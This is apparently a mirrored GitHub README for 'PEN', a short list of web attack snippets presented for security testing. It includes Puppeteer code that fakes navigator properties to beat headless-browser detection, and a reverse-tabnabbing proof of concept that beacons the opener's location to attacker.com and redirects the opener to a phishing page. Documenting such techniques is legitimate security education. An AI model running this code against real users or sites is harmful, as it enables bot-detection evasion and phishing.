Giter Club home page Giter Club logo

pen's Introduction

PEN

A (not-so-well)curated list of script and attack for security testing purposes and general knowledge.

JavaScript:

  • Bypass Chrome Headless detection:

    // Pass the User-Agent Test.
    const userAgent = 'Mozilla/5.0 (X11; Linux x86_64)' +
        'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.39 Safari/537.36';
    await page.setUserAgent(userAgent);
    
    await page.evaluateOnNewDocument(() => {
      // Pass the Webdriver Test.
      Object.defineProperty(navigator, 'webdriver', {
        get: () => false,
      });
      
      // Pass the Chrome Test.
      window.navigator.chrome = {
        // We can mock this in as much depth as we need for the test.
        runtime: {}, // etc.
      };
      
      // Pass the Plugins Length Test.
      Object.defineProperty(navigator, 'plugins', {
        // Overwrite the `plugins` property to use a custom getter.
        // This just needs to have `length > 0` for the current test,
        // but we could mock the plugins too if necessary.
        get: () => [1, 2, 3, 4, 5],
      });
      
      // Pass the Languages Test.
      Object.defineProperty(navigator, 'languages', {
        get: () => ['en-US', 'en'],
      });
      
      // Pass the Permissions Test.
      const originalQuery = window.navigator.permissions.query;
      return window.navigator.permissions.query = (parameters) => (
        parameters.name === 'notifications' ?
          Promise.resolve({ state: Notification.permission }) :
          originalQuery(parameters)
      );
    });    

    References:

  • target="_blank" vulnerability:

    if (window.opener && window.opener.location) {
      // Imagine this script as a library added to an attacker official website.
      // If this site is opened by an user that clicked to an `a` element
      // with target attribute setted to '_blank', the browser will initialize an `opener` object,
      // referred to the browser window which the user came from.
      // This weakness could be used to redirect the opener window to a phishing site.
    
      let randomUserID = Math.random().toString().slice(2,),
        urlStartPhishing =
          `//attacker.com/new/phishing/?location=${window.opener.location}&user=${randomUserID}`,
        redirect2Phishing = () => {
          // Wait for the deployment of the phishing site.
          setTimeout(() => {
            window.opener.location.assign(`//attacker.com/${randomUserID}/${window.opener.location}`)
          }, 8000)
        };
    
      fetch(urlStartPhishing)
        .then(response => {
          redirect2Phishing()
        })
        .catch(err => {
          // Error, maybe CSP :(
    
          let bypassCSP = new Image();
          bypassCSP.src = urlStartPhishing;
          redirect2Phishing()
        });
    }

    References:

CSS:

pen's People

Contributors

lorenzodifuccia avatar

Stargazers

 avatar

Watchers

 avatar

Forkers

sts0mrg0

pen's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.